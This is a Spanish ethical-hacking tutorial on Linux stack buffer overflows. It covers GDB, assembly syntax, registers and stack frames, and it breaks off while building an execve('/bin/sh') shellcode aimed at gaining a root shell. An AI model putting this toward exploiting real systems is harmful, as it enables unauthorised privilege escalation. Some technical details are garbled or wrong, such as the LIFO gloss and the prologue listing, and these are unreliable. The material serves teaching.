0% encontró este documento útil (0 votos)
89 vistas78 páginas

Shellcodes en Linux

Este documento describe cómo funcionan los shellcodes en Linux y cómo se pueden explotar los desbordamientos de búfer. Explica qué es un shellcode, cómo afecta a diferentes sistemas operativos como Linux, y proporciona una introducción al depurador GDB.

Cargado por

ranchdressing104
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
89 vistas78 páginas

Shellcodes en Linux

Este documento describe cómo funcionan los shellcodes en Linux y cómo se pueden explotar los desbordamientos de búfer. Explica qué es un shellcode, cómo afecta a diferentes sistemas operativos como Linux, y proporciona una introducción al depurador GDB.

Cargado por

ranchdressing104
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Ovi Oswaldo Calle Lovera

Information Technology
Security Research & Development
email | callelovera@[Link]

Shellcode en Linux
Exploit Buffer Overflow
Ovidio Oswaldo Calle Lovera / CNNA, MCSE, LPI, RHCSE

Information Technology Security Consultant - Information Security


Especialista en Seguridad de la Información
Analista de vulnerabilidades de sistemas de información
Conocimientos avanzados y certificados el interconectividad de redes
Conocimientos avanzados en el protocolo IP ( Internet Protocol)
Conocimientos avanzados en el manejo y la implementación de dispositivos Cisco
Experiencia en Practica Forense y Respuestas ante Incidentes
Experiencia en Hacking Ético y Penetration Test (OSSTMM)
Conocimiento en la implementación y Gestión de la norma ISO 17799 - 27001
Importante
INFORMA PREVIA AL USUARIO- RECONOCIMIENTO PREVIO DE DERECHOS DE AUTOR

El contenido de los presentes manuales técnicos (o sistema de instrucción o curso


según corresponda) denominados “Ethical Hacking” ha sido creado y desarrollado
pura y exclusivamente con fines educativos e investigativos y se encuentra
debidamente protegido por las leyes de Propiedad Intelectual vigentes, incluyendo
imágenes, diseños de arte, textos, programa de computación y marca registrada.
Queda expresamente prohibida su copia o reproducción total o parcial no autorizada,
como así también, la utilización fraudulenta de la idea y concepto plasmado en su
contenido, cuya violación hará incurrir a sus autores en las responsabilidades civiles
y penales previstas en la Ley 11.723 y artículos 1077, 1078 1109 del Código Civil de
la Nación Argentina

¡Advertencia!
El mal uso intencionado de los conocimientos expuestos en el presente tiene
responsabilidades legales para el que incurra en ello.
Declaraciones rápidas:
Los hackers no son criminales, los criminales son los crackers (aún asi mismo dependen de cada caso).
Las prácticas aqui expuestas es para aprender mas sobre la seguridad y redes de computadoras. No es
para quien piensa invadir o desfigurar páginas, robar tarjetas de crédito o alguna otra payasada de este
tipo. Si para usted alguna de esas cosas es demostrar poder, vuelva cuando haya dejado los pañales.
Shellcodes en Linux

Objetivo

El objetivo se va a centrar en cómo se lleva a cabo el desarrollo de un


exploit utilizando las técnicas de inundaciones de buffer.
Por tanto nos centraremos en el Buffer Overflow y conseguir la posible
corrupión del stack (pila), intentando escribir más datos de lo que
permite el buffer declarado en la rutina o programa. En el caso del
lenguaje C, un buffer overflow sucede cuando se asigna más
información de la que permite una estructura o un array (vector) de
datos.
Descripción
El shellcode es un elemento inseparable de cada exploit.
Shellcode es un conjunto de instrucciones máquina, llamadas codigo de
bytes es uno de los elementos mas importantes de los exploits que
utilizan errores del tipo desbordamiento de buffer (buffer overflow).
Durante un ataque es insertado por el exploit al programa en ejecución y
en el contexto del programa lleva a cabo las operaciones que el infractor
indica.
Un exploit es un programa diseñado para interrumpir a otro programa
durante su ejecución, los resultados de dicha ejecución dependen de la
habilidad de programación de dicho exploit.
La palabra buffer se refiere a que se reserva un espacio de memoria en la
cual se va a guardar y tratar información, es un bloque de memoria que
contiene datos del mismo tipo.
Descripción
Por ejemplo en el siguiente código:
#include <stdio.h>

int main(void) {
char nombre[20];
strcpy(nombre, “PEPE”);
printf(“Mi nombres es %s”, nombre);
return(0);
}

Es  un  sencillo  programa  escrito  en  lenguaje  C  que  muestra  en  la 
pantalla el mensaje “Mi nombre es PEPE”.
ovi@stake$ gcc ­o main main.c
ovi@stake$ ./main
Mi nombre es PEPE
ovi@stake$
Descripcion
Explicamos un poco:
En la variable “nombre” se almacena el valor PEPE para su posterior
impresión en la pantalla. Dicha variable “nombre” es de tipo caracter
(char) y tiene un tamaño predefinido: 20 caracteres. Por tanto a grandes
rasgos: lo primero que hace es reservar 20 bytes en la memoria para la
variable “nombre”. Con esto deducimos que esta variable es un Buffer
de 20 bytes o caracteres.
La vulnerabilidad de las inundaciones de buffer no es algo nuevo, este
tipo de ataques existen desde los años 80 (Robert T. Morris).
Actualmente existen dos tipos de técnicas:
- Inundacion de buffer de pila, la que trataremos aqui.
- Inundación de buffer por datos masivos. Este tipo de ataque es menos
frecuente.
Sistemas afectados
1. La familia de sistemas operativos Windows.
Windows XP
Windows 200 Professional
Windows 200 Server
Windows 2003 Server
etc...
2. Sistemas operativos tipo UNIX
Solaris
SunOS
HP-UX
AIX
etc...
3. Entornos Linux
Red Hat
Fedora
Suse
Debian
etc.
4. Sistemas MacOS
Sistemas afectados
Debido a que existen muchos tipos de sistemas operativos y miles de
programas dentro de cada uno de ellos, existen cientos y cientos de tipos
de exploits. Actualmente, debido a esto y la complejidad de un exploit,
se suele juzgar la habilidad de un hacker por la facilidad de realizar o
comprender dichos programas, porque en el fondo un exploit es un
programa.
Nada tiene que esto que ver con el hecho de ejecutarlos. El verdadero
reto esta en el estudio y desarrollo de los mismos, pero nunca en el
aprovechamiento de dichas herramientas para fines no legitimos o
ilegales.
El estudio de los programas exploit deber ser materia obligada para
cualquier administrador de sistemas, ya que con el dicho conocimiento
estará mas capacitado para dar una respuesta al sistema ante un
problema de seguridad.
Qué es el GDB
Es fundamental tener ciertas nociones en el conocimiento y uso de
programas de tipo debug (depuradores), los cuales se encargan de
examinar lo que sucede durante la ejecución de un programa a nivel de
máquina.
En  el  mundo  GNU,  sin  duda  alguna,  la  más  importante  es  GDB:  GNU 
DeBugger.  GDB  permite  ver  lo  que  sucede  dentro  de  programas  escritos  en 
diferentes lenguajes, como por ejemplo C, C++, etc..
Algunas caracteristicas mas importantes de GDB son:
  Se puede hacer debug de programas o complejos, entendiendo por progrmas 
complejos aquellos que utilizan múltiples archivos.
  Se puede detener la ejecución de un programa a travéz de los puntos de 
ruptura, conocidos como breakpoints.
  Se puede detener la ejecución de un programa con puntos de ruptura por 
condiciones, denominados watchpoints.
Qué es el GDB
  Se puede detener un programa cuando éste recibe una señal externa, lo que 
se nombra como catchpoints.
  Durante la ejecución del programa se puede consultar el valor de distintas 
expresiones (displays)
  Además de visualizar estos valores es posible cambiar su valor sin 
necesidad de reiniciar el programa.
  Se puede depurar programas finalizados, en ejecución o que esta a punto de 
iniciarse su ejecución.
  Con GDB se puede obtener información de los ficheros core (coredump).
 En el mundo Unix/Linux existen muchos otros debuggers, pero la mayoria 
dependen de GDB. GDB se utiliza desde la linea de comandos, pero tambien 
los hay en modo grafico, como puede ser el DDD, XXGDB o KGDB entre 
otros.
Primeros pasos con GDB
Para los ejemplos asumimos el uso de Linux, cuya distribución es
Debian. Los paquetes necesarios son: gdb, libc6­dev, ncurses­dev
Para instalar los paquetes en Debian ejecutamos el siguiente comando:
stake:~# apt­get install gdb libc6­dev ncurses­dev
Para visualizar los detalles del paquete se ejecuta el siguiente comando:
stake:~# apt­cache show gdb
Package: gdb
Priority: standard
Section: devel Installed­Size: 5368
Maintainer: Daniel Jacobowitz <dan@[Link]>
Architecture: i386 Version: 6.3­6
Replaces: gdb­arm, insight (<< 6.1+cvs.2004.04.07­1)
Depends: libc6 (>= 2.3.2.ds1­21), libncurses5 (>= 5.4­1), libreadline4 (>= 4.3­1)
Conflicts: gdb­arm Filename: pool/main/g/gdb/gdb_6.3­6_i386.deb
Size: 2767820 MD5Sum: ec8ffd4489eca48d19ebb93e704a735b
Description: The GNU Debugger
 GDB is a source­level debugger, capable of breaking programs at
 any specific line, displaying variable values, and determining
 where errors occurred. Currently, it works for C, C++, Fortran
 Modula 2 and Java programs. A must­have for any serious
 programmer.
Primeros pasos con GDB
Para iniciar GDB, que se puede hacer de dos formas: demanera
interactiva o cargar directamente el programa con que se va a trabajar.
ovi@stake:~$ gdb
GNU gdb 6.3­debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386­linux".
(gdb) 
Una segunda forma es cargar directamente el programa:
ovi@stake:~$ gdb bug2
GNU gdb 6.3­debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386­linux"...Using host libthread_db library 
"/lib/tls/libthread_db.so.1".
(gdb) 
Primeros pasos con GDB
Si el programa con el que se queria trabajar ha dado problemas y
tenemos su archivo core, se procederá con el siguiente comando:
ovi@stake:~$ gdb programa core

Con este comando GDB deja al programa en el mismo modo que


cuando dio el problema, asi que se puede ver el porque del problema.
Un sistema Unix/Linux pueda que no permita generar archivos core por
motivos de seguridad. Para activar esta opción ejecutamos:
ovi@stake:~$ ulimit ­c 999

Para  debuggear  con  GDB  un  programa  en  ejecucion  primero  necesitamos 
saber el número de PID (Process Identifier). Al ejecutar este último comando 
se detiene el proceso y es el usuario quien continua por medio de GDB con su 
ejecución.
Localizamos el PID de algún proceso con el comanso ps
stake:~# ps aux | grep cron
root      4225  0.0  0.1  1880  716 ?        Ts   20:02   0:00 cron
Primeros pasos con GDB
Acontinuacion depuramos el programa en ejecución: cron.
ovi@stake:~$ gdb attach 4225
GNU gdb 6.3­debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386­linux"...
Attaching to process 4225
Using host libthread_db library "/lib/tls/libthread_db.so.1".
Reading symbols from /usr/sbin/cron...(no debugging symbols found)...done.
Reading symbols from /lib/[Link].0...(no debugging symbols found)...done.
Loaded symbols for /lib/[Link].0
Reading symbols from /lib/tls/[Link].6...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/[Link].6
Reading symbols from /lib/tls/[Link].2...
(no debugging symbols found)...done.
Loaded symbols for /lib/tls/[Link].2
Reading symbols from /lib/ld­[Link].2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld­[Link].2
Reading symbols from /lib/tls/libnss_compat.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/tls/libnss_compat.so.2
Reading symbols from /lib/tls/[Link].1...
Comandos básicos GDB
Los comandos basicos del depurador GDB:
quit: Además de saber entrar hay que saber salir.
help: Este comando es el mas importante como en todos los programas.
run  [argumentos]:Se inicia la ejecución del programa cargado con los
posibles argumentos.
set args:  Sirve para especificar los argumentos del programa antes de
ejecutar el comando run.
bt: Se visualiza la información de la pila del programa (stack).
print expresion: Muestra el valor de una expresión.
continue:Le ordena al programa continuar desde donde se detuvo.
next:  Ejecuta la siguiente linea del programa, pero sin entrar dentro de
las funciones.
step: Hace lo mismo que el comando next, la diferencia es que entra
dentro de las funciones.
Diferencias entre AT&T y x86
Hay  que  saber  que  existen  diferencias  entre  los  distintos  lenguajes  de 
ensamblador  para  los  entornos  Windows  y  los  Unix.  La  realidad  es  que 
incluso  dentro  de  una  misma  plataforma,  existen  distintos  compiladores  de 
ensamblador. Existe una normalización llamada AT&T para entornos UNIX y 
otra llamada x86 para las plataformas Windows.
Acontinuación se detallan las principales diferencias:
1. La forma de nombrar los registros en AT&T es anteponiendo el caracter %,
ejemplo: %EAX, en cambio en x86 se escribe directamente.
2. En la sintaxis, los valores en AT&T van precedidos del caracter $, por
ejemplo: $0x18 (valor 24 en el sistema decimal), x86 en cambio no lleva.
3. En la sintaxis de x86 el destino de una operación se indica en el primer
parámetro de una instrucción y el origen en el segundo parámetro de la
misma. En cambio, en la sintaxis AT&T es justamente lo contrario, el destino
de una operación se indica en el segundo parámetro y el origen en el primer
parámetro.
Diferencias entre AT&T Y x86
4. En muchas instrucciones de AT&T, la forma de incarle a la CPU cual es el
tamaño de los parámetros que se la pasan a la instrucción en cuestión es por
medio de un caracter al final de la instrucción.
Este caracter puede tener los siguientes valores: “b” para indicar que el
operando es de 8 bits, “w” que es una palabra de 16 bits y “l” que es de 32
bits. Asi por ejemplo, la instrucción MOV la podemos encontrar como:
MOVB, MOVW o MOVL.
5. Los direccionamientos a memoria tienen una manera muy distinta de
expresarse.
En la sintaxis x86 la forma de establecer una dirección completa es:
SECCION:[BASE + INDICE * ESCALA + DISP]

Mientras que en AT&T se escribe mediante esta otra regla:


SECCION:DISP(BASE, INDICE, ESCALA)
Diferencias entre AT&T Y x86
Veamos distintos ejemplos de instrucciones de sintaxis AT&T:
push %ebp
movl %esp,%ebp
sub $0x18,%esp
and $0xfffffff0,%esp
movl  $0x0,%eax
movb $4, %fs(%eax)
movl 4(%ebp), %eax

Estas mismas intrucciones en un entorno x86:


push ebp
mov ebp, esp
sub esp, 18
and esp, fffffff0
mov eax, 0
mov fs:eax, 4
mov eax, [ebp+4]
Que hay en la memoria
Veamos  un  poco  cómo  se  organizan  los  procesos  en  la  memoria,  y  donde 
estan almacenados los famosos buffers.
En la memoria tenemos tres grandes regiones:
1. Región de textos: Text.
2. Región de datos: Data.
   3. Región de la pila: Stack.
Variables de entorno Minima direccion de memoria
Pila (stack)

Stack frame
Áreas
Monton (heap) de
memoria
BSS
Datos (data)
Código (code), textos Máxima direccion de memoria
Que hay en la memoria
La  región  de  textos  está  formada  por  el  código  del  programa,  es  decir,  lo  que 
son las instrucciones de un ejecutable, y por los datos de solo lectura. Por tanto, 
el intento de escritura en esta región provocaria un error.
La  región  de  datos  contiene  eso  mismo,  ya  sean  datos  inicializados  o  no. 
También  es  conocida  como  la  región  BSS.  Esta  región  almacena  variables 
estáticas.
En  cambio  las  variables  dinámicas,  que  son  las  que  interesan  para  los  Buffer 
Overflow,  estas  variables  se  encuentran  en  la  pila,  conocidas  tambien  como 
variables automáticas.
Por ejemplo, la siguiente declaracion de variable se guarda en la zona de datos 
no inicializados:
init i;
En cambio si se modifica la declaración:
init i = 5; 
Asi conseguimos que la variable se guarde en la region  de datos inicializados.
Conocimiento básico de la pila: stack
La  pila  es  una  estructura  de  datos  que  se  caracteriza  por  ser  un  objeto  que 
tiene  la  propiedad  de  que  el  último  objeto  colocado  en  la  misma  será  el 
primero en salir: esta cualidad se llama LIFO (last input, first input).
Este  interesante  tener  claro  haste  este  punto,  que  la  pila  es  un  lugar  de  la 
memoria donde se almacena información y se libera: funcionalidad dinamica.
Para llevar a cabo estas dos operaciones maneja dos funciones que en lenguaje 
ensanblador son:

1.  PUSH:  que  significa  poner  palabra  en  la  pila  (push  word  onto  stack).  En 
esta acción, PUSH agrega dicho elemento a la parte superior de la pila.

2.  POP:  significa  quitar  palabra  de  la  pila  (word  off  stack  to  destination). 
Disminuye  el  tamaño  de  la  pila  quitándole  el  último  elemento  de  la  parte 
superior de la pila.
¿Que son los registros?
Los  registros  son  unas  estructuras  internas  de  la  CPU  para  mantener 
comunicación directa entre la memoria y la unidad aritmética.
Los  registros  contienen  el  valor  de  una  palabra  y  por  tanto  sirven  para 
almacenar valores de tamaño palabra.
Cuando  a  un  registro  se  le  asigna  un  nuevo  valor,  pierde  el  dato  antiguo. 
Mientras que la memoria está formada por palabras, un registro sólo contiene 
una palabra.
En las modernas arquitecturas los registros tienen un tamaño de 32 bits.
Existen distintos tipos de registros, los cuales se dividen en cuatro categorias:
1. Registros generales
2. Registros de segmento
3. Registros de offset
4. Otros registros: Son registro especiales utilizados por la propia CPU.
Registros generales
Se utilizan para manipular datos, se encuentran los siguientes:
1. %EAX: A este registro se le denomina acumulador, es donde se situan los 
resultados  de  las  operaciones  matemáticas  como  DIV  o  MUL.  Se  puede 
dividir en dos sub­registros de 16 bits cada una, lo que suman 32 bits que tiene 
el registro %eax.
De estos dos sub­registros, al menos significativo, es decir al de la derecha, el 
que  va  del  bit  0  al  15  se  le  denomina  registro  AX  y  este  a  su  vez  se  puede 
dividir en otros dos registros de 8 bits cada uno nombrados como AH y AL.

31 16 15 8 7 0

AH AL

AX

EAX
Registros generales
2. %EBX: Sucede lo mismo que al registro EAX, se divide en registro de 16 
bits llamado BX, y este a su vez en dos regsitros de 8 bits denominados BH y 
BL.

31 16 15 8 7 0

BH BL

BX

EBX
Registros generales
3.  %ECX:  La  mision  especial  de  este  registro  es  la  de  servir  de  contador  de 
buclesy  en  operaciones  en  cadenas.  Tambien  se  tiene  un  sub­regsitro  de  16 
bits llamado CX, y este a su vez dos registros de 8 bits denominados CH y CL.

31 16 15 8 7 0

CH CL

CX

ECX
Registros generales
4. %EDX: Se le conoce como puntero de entrada y salida, dada su implicación 
con los puertos. Se puede dividir en el registro DX de 16 bits, y este se divide 
en los registros DH y DL de 8 bits cada uno. 

31 16 15 8 7 0

DH DL

DX

EDX
Registros de segmento
Son registros de 16 bits, los cuales contienen laprimera parte de una direccion 
de memoria:

1. %CS: Este el registro de segmento de ejecución, lo que significa que es 
la primera parte de la dirección que se esta ejecutando. La dirección completa 
de  la  instrucción  que  se  esta  ejecutando  se  encuentra  en  CS:EIP,  lo  que 
significa que nos referimos a la dirección EIP del segmento CS.

2. %DS: Es normalmente el registro de datos.

3. %SS: Es el registro de la pila, por lo que la pila está en la dirección  de 
SS:ESP.
Registros offset
Estos registros indican un offset relacionado con un registro de segmento.
Tenemos cinco tipos de registros offset:
 1. %EIP (Extended Instruction Pointer): EIP sabe la dirección de la siguiente 
instrucción que va ser ejecutada.
2. %EBP (Extended Base Pointer): EBP sabe cual es el inicio local para una 
funcion

31 16 15 8 7 0

BP

EBP

Registro EBP
Registros offset
3. %ESI (Extended Source Index): ESI contiene el offset de los datos destino 
de datos en una operación que se usa un bloque de memoria.

31 16 15 8 7 0

SI

ESI

Registro ESI
Registros offset
4.  %EDI  (Extended  Destiantion  Index):  EDI  contiene  el  offset  de  los  datos 
destino de datos en una operación que usa un bloque de memoria.
31 16 15 8 7 0

DI

EDI

Registro EDI

5. %ESP (Extended Stack Pointer): ESP sabe cual es la cima de la pila.
El registro EIP
La forma de saber lo que tiene que hacer nuestro procesador en cada
ciclo del mismo es por medio del registro EIP (Extended Instruction
Pointer). Dicho registro le dice a la CPU donde se encuentra la siguiente
instrucción a ejecutar.
Realmente lo que contiene el registro EIP es la dirección donde esta
dicha instrucción. Lo normal es que las direcciones sean secuenciales,
éstas son calculadas por el propio procesador y la distancia entre
direcciones dependerá del tamaño de la instrucción a ejecutar.
Es por ello que aunque las direcciones sean secuenciales, no suele haber
un byte de distancia entre ellas en todos los casos.
Por ejemplo supongamos el siguiente ejemplo:
push %epb
mov %esp, %epb
El registro EIP
Explicamos un poco:
Supongamos que al llegar a la primera intrucción nos encontramos en la
dirección de memoria 0x00401058. Como la intrucción PUSH sólo
necesita de un byte, la instrucción MOV se encontrará en la dirección de
memoria 0x00401059.
Todo esto es ideal cuando no hay instrucciones del tipo salto (JMP:
jump). La realidad no es tan fácil.
Cada vez que el código se bifurca (jump) la direccion a la que cambia
no va a ser secuencial y por tanto hay que controlar los retornos, si fuese
el caso. Para ello, antes de la propia bifurcación hay que guardar la
dirección de la siguiente instrucción en un registro de forma temporal
(registro EDX).
Para que cuando el salto acabe, se vuelva a escribir esa dirección del
registro EDX en el EIP.
El registro EIP
De esta forma podemos implementar un mecanismo para simular
llamadas a funciones, pero no es ideal y seria demasiado tedioso.
La arquitectura INTEL nos proporciona dos instrucciones que nos
facilita el trabajo. Estas son: CALL (call a procedure) y RET (return).
Con la instrucción CALL, hacemos un salto al llamar a otra función,
pero ella misma se encarga de todo lo explicado anteriormente.
Asi cuando RET se ejecute, la instrucción CALL ejecutada previamente
ya se habrá asegurado de controlar la integridad de un programa.
Lo que ocurre es que CALL hace PUSH de la siguiente dirección EIP
en la pila, así que cuando se ejecuta RET, lo que se hace es POP de esa
dirección de retorno de la pila y continua el flujo normal del programa.
Los registros ESP y EBP
En la pila existe otro tipo de puntero llamado FP (Frame Pointer) el cual
apunta a la localización de uno de los trozos que indicábamos
anteriormente (frames). Este puntero se utiliza para saber dónde se
encuentran, dentro de la pila, las variables locales y los parametros de
una función.
Para este tipo de propósitos, los del FP, se utiliza el segmento EBP
(Extended Base Pointer). Con todo esto vamos a definir los pasos
básicos que se realizan cuando se llama a una función desde un
programa:
1. Guardar el valor que existe en FP para que pueda ser restaurado al
terminar la función.
2. Copiar SP dentro de FP para crear un nuevo FP.
3. Crear el espacio pertinente en la pila para reservar memoria para las
variables locales.
Los registros ESP y EBP
A estos tres primeros pasos se les conoce como el prologo de un
procedimiento o procedur log. Estos tres pasos en Assembler serian:
push %ebx
mov %esp, %ebp
push {valor}, %esp

La función se lleva a cabo intrucción tras instrucción hasta llegar a su


final.
A este paso se le denomina procedure epilog. La salida de la función se
resume en Assembler como sigue:
leave
ret

Hasta este punto esta claro que la pila es un sitio bastante dinámico en la
cual entra información por medio de PUSH y sale con la instrucción
POP liberando a la pila de dicha información.
Los registros ESP
Para encontrar o datos que se encuentran en la pila utilizamos
direcciones de memoria.
Existe un registro llamado ESP (Extended Stack Pointer), que es el
encargado de mantener dichas direcciones para saber donde están los
distintos dados en la pila.
La manera de almacenar las direcciones de la pila en el ESP se conoce
como “direccionamiento reltivo”, lo que significa que ESP contiene las
direcciones relativas de memoria para saber donde están los datos en la
pila.
Veamo a fondo con un ejemplo para entender todo esto mejor.
El siguiente ejemplo no es un programa muy útil, pero si lo es para
entender el funcionamiento del microprocesador.
Los registros ESP
El siguiente programa lo que hace es llamar a una función y le pasa dos
parámetros con los valores 1 y 2. Esta función lo único que hace hace es
crear en memoria una variable, que en este caso es un array de tamaño
4 de tipo caracter.
// ­­­­­­­­­­­­­­­­­­­­
// ejemplo2.c
//
void funcion(int a, int b){
char cad1[4];
}
int main(void) {
funcion(1, 2);
}

Guardemos el código C con el nombre ejemplo2.c y lo compilamos con


la opción “-g”, la cual nos va proporcionar información para el
debugger. Y acontinuación ejecutamos el GBD para inspeccionar.
Los registros ESP
stake:~# gcc ­g ­o ­ejemplo2 ejemplo2.c
stake:~# gdb ejemplo2 
GNU gdb 6.3­debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386­linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x8,%esp
0x08048362 <main+6>:    and    $0xfffffff0,%esp
0x08048365 <main+9>:    mov    $0x0,%eax
0x0804836a <main+14>:   sub    %eax,%esp
0x0804836c <main+16>:   movl   $0x2,0x4(%esp)
0x08048374 <main+24>:   movl   $0x1,(%esp)
0x0804837b <main+31>:   call   0x8048354 <funcion>
0x08048380 <main+36>:   leave
0x08048381 <main+37>:   ret
End of assembler dump.
(gdb)
Los registros ESP
Desde el promt de GDB ejecutamos  disas main
Este desensambla una sección de memoria. En nuestro caso hemos
desensamblado la funcion main(). Los datos relevantes que muestra son:
1. push  %ebp: Esta es la primera instrucción que nos encontramos nada
más iniciar la ejecución del programa, y lo que hace es guardar la
dirección del registro EBP en la pila.
2. mov  %esp,%ebp: Se copia de la pila del registro EBP. Estas dos
funciones son los denominados procedur log.
3. movl $0x2,0x4(%esp)  y movl $0x1,(%esp): En estas dos instrucciones se
le están pasando a la pila los valores 2 y 1, que se pasan en el main al
llamar a la función funcion(). Como se puede observar, el paso de los
parámetros en una función cuando se ponen en la pila se hace de manera
inversa
Los registros ESP
4. push %ebp: Aquí se llama a la función funcion().
Veamos ahora lo que pasa dentro la función:
(gdb) disas funcion
Dump of assembler code for function funcion:
0x08048354 <funcion+0>: push   %ebp
0x08048355 <funcion+1>: mov    %esp,%ebp
0x08048357 <funcion+3>: sub    $0x4,%esp
0x0804835a <funcion+6>: leave
0x0804835b <funcion+7>: ret
End of assembler dump.
(gdb)
Nuevamente nos encontramos con el procedur log que viene marcado
por las dos primeras instrucciones. La tercera instrucción:
sub    $0x4,%esp

Hace un SUB (subtract), de substraer o restar, significa que resta 4 bytes


de la pila del registro ESP. Con esto se consigue asignar espacio en
memoria para la variable cadena.
Los registros ESP
Las instrucciones LEAVE y RET como ya sabemos liberan espacio de la pila, 
y  es  este  tipo  continuo  de  llamadas  y  salidas  de  las  funciones  las  que 
caracterizan la variabilidad de la pila.
Vamos  a  hacer  una  leve  variación  a  nuestro  código  fuente  para  ver  que 
sucede:
// ­­­­­­­­­­­­­­­­­­­­
// ejemplo3.c
//
void funci(int a, int b){
char cad1[7];
char cad2[9];
}
int main(void) {
funci(1, 2);
}
Solamente hemos declarado una nueva variable en la función“funci” llamada
cad2 y tambien han cambiado los tamaños de los vectores o arrays.
Los registros ESP
Compilamos  y  vemos  que  sucede  con  el  desensamblador  dentro  la  funcion 
“funci”:
stake:~# gcc ­g ­o ­ejemplo3 ejemplo3.c
stake:~# gdb ejemplo3 

(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>:    push   %ebp
0x0804835d <main+1>:    mov    %esp,%ebp
0x0804835f <main+3>:    sub    $0x8,%esp
0x08048362 <main+6>:    and    $0xfffffff0,%esp
0x08048365 <main+9>:    mov    $0x0,%eax
0x0804836a <main+14>:   sub    %eax,%esp
0x0804836c <main+16>:   movl   $0x2,0x4(%esp)
0x08048374 <main+24>:   movl   $0x1,(%esp)
0x0804837b <main+31>:   call   0x8048354 <funci>
0x08048380 <main+36>:   leave
0x08048381 <main+37>:   ret
End of assembler dump.
Los registros ESP
(gdb) disas funci
Dump of assembler code for function funci:
0x08048354 <funci+0>:   push   %ebp
0x08048355 <funci+1>:   mov    %esp,%ebp
0x08048357 <funci+3>:   sub    $0x28,%esp
0x0804835a <funci+6>:   leave
0x0804835b <funci+7>:   ret
End of assembler dump.
(gdb)

Como podemos observar rápidamente el prólogo de procedimiento siempre


nos va a acompañar, para cualquier caso. Ademas, la instrucción SUB en este
caso ha estado mas bytes, exactamente 28 en sistema hexadecimal, que son 40
bytes en el sistema decimal.
Dependiendo de las variables locales de cada función del programa, el tamaño
de la pila aumentará o disminuirá según las necesidades de la función que se
esté ejecutando.
Construimos el Shellcode
La cuestion es cómo sacar el máximo partido a la pila de un programa
en tiempo de ejecución de un proceso en la misma pila e intentar indicar
al programa lo que tiene que hacer en la siguiente instrucción, como
podria ser, obtener una shell.
Lo verdaderamente interesante si se consigue una shell es que este sea
propiedad del administrador de la máquina, root en los entornos UNIX,
para ello el proceso donde se quiere intervenir debe estar ejecutándose
con el usuario anteriormente mencionado.
Acontinuacion vamos a estudiar un pequeño programa C, el cual ejecuta
una shell, y avanzaremos hasta construir nuestro propio shellcode.
Construimos el Shellcode
/* ­­­­­­­­­­­­­­­­­­­­
* scode.c
/* ­­­­­­­­­­­­­­­­­­­­
*/
#include <stdio.h>
int main(void) {
char * programa[] = {“/bin/sh”, NULL};
execve(programa[0], programa, NULL);
exit(0);
} // fin del main

Compilamos la fuente scode.c con gcc con las opciones -g para


depuración y -static para que cree un ejecutable estático. Esto significa
que no va a utilizar funciones de otras librerias externas, en nuestro caso
execve y exit.
stake:~# gcc ­g ­static ­o scode scode.c
stake:~# ./scode

stake:~# gdb scode
Shellcode en Linux
stake:~# gdb scode
GNU gdb 6.3­debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This  GDB  was  configured  as  "i386­linux"...Using  host  libthread_db  library 
"/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048214 <main+0>:    push   %ebp
0x08048215 <main+1>:    mov    %esp,%ebp
0x08048217 <main+3>:    sub    $0x18,%esp
0x0804821a <main+6>:    and    $0xfffffff0,%esp
0x0804821d <main+9>:    mov    $0x0,%eax
0x08048222 <main+14>:   sub    %eax,%esp
0x08048224 <main+16>:   movl   $0x8095e88,0xfffffff8(%ebp)
0x0804822b <main+23>:   movl   $0x0,0xfffffffc(%ebp)
0x08048232 <main+30>:   movl   $0x0,0x8(%esp)
0x0804823a <main+38>:   lea    0xfffffff8(%ebp),%eax
Shellcode en Linux
0x0804823d <main+41>:   mov    %eax,0x4(%esp)
0x08048241 <main+45>:   mov    0xfffffff8(%ebp),%eax
0x08048244 <main+48>:   mov    %eax,(%esp)
0x08048247 <main+51>:   call   0x804df10 <execve>
0x0804824c <main+56>:   movl   $0x0,(%esp)
0x08048253 <main+63>:   call   0x8048b70 <exit>
End of assembler dump.

Las  llamadas  al  sistema  en  este  listado  se  encuentran  en  las  direcciones  de 
memoria  0x08048247  y  0x08048253, que  es donde se producen las instrucciones 
call  a  las  funciones  execve  y  exit,  que  se  han  utilizado  en  el  programa 
“scode”.
Para  examinar  el  contenido  de  la  memoriacon  gdb  se  utliza  el  comando 
printf,  con  sintaxis  similar  al  lenguaje  C.  Por  ejemplo,  para  localizar  la 
cadena “/bin/sh”, que es lo ejecuta la shell, hacemos lo siguiente:
(gdb) printf "%s\n", 0x8095e88

/bin/sh
Shellcode en Linux
(gdb) printf "%s\n", 0x8095e89
bin/sh
